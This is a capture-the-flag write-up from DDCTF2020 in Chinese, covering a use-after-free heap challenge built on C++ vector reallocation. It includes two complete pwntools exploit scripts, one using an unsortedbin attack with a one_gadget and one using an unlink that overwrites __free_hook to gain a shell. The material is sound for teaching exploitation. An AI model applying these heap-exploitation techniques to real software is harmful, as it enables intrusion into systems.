DDCTF2020官方Write Up——PWN篇
目录
0x01 :we love free
出题人现身说法,带来官方解读
01
we love free
团队昵称:Nanase
一血用时:2小时13分
出题人
罗爱国
滴滴出行安全工程师
出题人视角
本题使用了vector库,选手需要了解vector的机制。在插入第一个数据时,分配大小为1个数据大小的内存把数据存入;在插入第二个数据时,由于空间已经满了,把已有内存释放,再分配2个数据大小的内存,把数据存入;漏洞点是在show的时候把irte指针保存在bss段,然后再插入数据,这样就导致当前的地址空间被释放,但指针仍然指向的时旧的地址,这样就产生了use after free漏洞。
-----选手Write Up-----
这道题巧妙利用vector的扩容机制设置了一个漏洞,我自己解的时候是用unsortedbin attack攻击的cin,赛后还看到了用unlink来unlink自己的骚操作,这里把两种解法都记录下
解法一
vector结构:
00000000 vector struc ; (sizeof=0x18, mappedto_7)
00000000 ; XREF: .bss:vec_/r
00000000 start dq ?
00000008 cur dq ?
00000010 end dq ?
00000018 vector ends
00000018
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]
vector的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90.....
漏洞点:
思路为:
• 先add16个元素(0x90的堆块),这样调用show函数的时候,在push 0xAABBCCDD之后,原先的堆块就会被释放,这样就能有UAF的效果,先泄露下libc的地址,在调用clear函数清空,这里调用clear会触发malloc_consolidate,所以堆又会变成原来的样子
• 在add至少0x20个元素,每个元素都为one_gadget,在堆上残留数据,在调用clear函数清空堆
• 接着在add16个元素,调用show函数
• show函数还会问我们要不要修改元素的值,所以我们可以把unsorted bin的bk指针改掉,用作unsortedbin attack,改成啥后面再说
• 接着在修改push 0xAABBCCDD之后新申请的堆块的大小,改小size,在clear的时候不触发malloc_consolidate,这样就为后面的unsortedbin attack做好了准备
• 最后只要在add 9 个元素,vector就会申请0x80大小的堆块,触发unsortedbin attack,将unsortedbin的地址写入一个地方
现在的问题就是将这个unsortedbin的地址写哪里了,我们可以看到程序用到了cin,cout,在data段上有指针指向他们虚表:
所以我们选择攻击cin或者cout,都试一下,效果如下:
libc2.23有很多one_gadget,这里选的是:
• 在add完元素之后就会调用cin,或者cout,就能触发one_gadget,拿到shell
exp:
from pwn import *
context.arch = 'amd64'
# context.terminal = ["tmux","split-window","-h"]
def cmd(command):
p.recvuntil(">>")
p.sendline(str(command))
def add(cap):
cmd(1)
p.recvuntil("num:")
p.sendline(str(cap))
def show():
cmd(2)
def clear():
cmd(3)
def main(host,port=5005):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn1")
gdb.attach(p)
# gdb.attach(p,"b *0x000000000401192")
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
p.recvuntil("1:")
libc.address = int(p.recvuntil('\n')[:-1]) - 0x3c4b78
info("libc : " + hex(libc.address))
for i in range(34):
p.recvuntil("(y/n):")
p.send('n')
for i in range(0x10):
add(libc.address)
clear()
for i in range(0x21):
add(0xf67b0+libc.address)
clear()
# unsorted bin attack
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
p.recvuntil("1:")
p.recvuntil("(y/n):")
p.send('n')
p.recvuntil("(y/n):")
p.send('y')
# modify unsortedbin->bk
p.sendline(str(0x6051f8-0x10))
for i in range(32):
p.recvuntil("(y/n):")
p.send('y')
p.sendline(str(0x71))
clear()
# trigger one_gadget
for i in range(0x9):
add(0xcafebabedeadbeef)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
解法二
如果把presize给改成-0x10,这样unlink的时候,p就会指向自己+0x10偏移处:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
我们可以在这里构造好假的fd和bk,这样在free之后就可以改到数据段上的vec结构,连同迭代器也一起改了,这样就可以直接任意地址读写,把vec的begin改成__free_hook-8,cur改的比begin大就好,end也是,然后add数据的时候就可以修改__free_hook,getshell
exp:
from pwn import *
context.arch = 'amd64'
context.terminal = ["tmux","split-window","-h"]
def cmd(command):
p.recvuntil(">>")
p.sendline(str(command))
def add(cap):
cmd(1)
p.recvuntil("num:")
p.sendline(str(cap))
def show():
cmd(2)
def clear():
cmd(3)
def write(data):
p.recvuntil("(y/n):")
p.send('y')
p.sendline(str(data))
def main(host,port=5005):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn1")
gdb.attach(p)
# gdb.attach(p,"b *0x000000000401192")
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
p.recvuntil("1:")
libc.address = int(p.recvuntil('\n')[:-1]) - 0x3c4b78
info("libc : " + hex(libc.address))
for i in range(34):
p.recvuntil("(y/n):")
p.send('n')
clear()
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
for i in range(16):
p.recvuntil("(y/n):")
p.send('n')
write(-0x10)
write(0x110)
write(0) # prev_size
write(0) # size
write(0x605398-0x18)
write(0x605398-0x10)
for i in range(12):
p.recvuntil("(y/n):")
p.send('n')
for i in range(0xf):
add(0xcafebabedeadbeef)
show()
# we can overwrite vec now !!
write(libc.symbols["__free_hook"]-8) # begin
write(libc.symbols["__free_hook"]-8) # current
write(libc.symbols["__free_hook"]+0x20) # end
write(0x605398) # it_begin
write(0x6053b0) # it_end
p.recvuntil("(y/n):")
p.send('n')
add(u64('/bin/sh\x00'))
add(libc.symbols["system"])
clear()
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
-----MISC方向Write Up请查看下一篇-----
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 奋力打开改革发展新天地 7900895
- 2 中方回应特朗普威胁收回巴拿马运河 7978841
- 3 刘强东提前发年终奖 7801352
- 4 “冷资源”里的“热经济” 7734672
- 5 全球约有1.9亿妇女为内异症患者 7615890
- 6 国足原主帅李铁已上诉 7572517
- 7 保时捷断臂求生 7443129
- 8 山姆代购在厕所分装蛋糕 7345728
- 9 喝水后有4种表现提示肾有问题 7285229
- 10 男子闪婚生女后发现妻子结过7次婚 7112740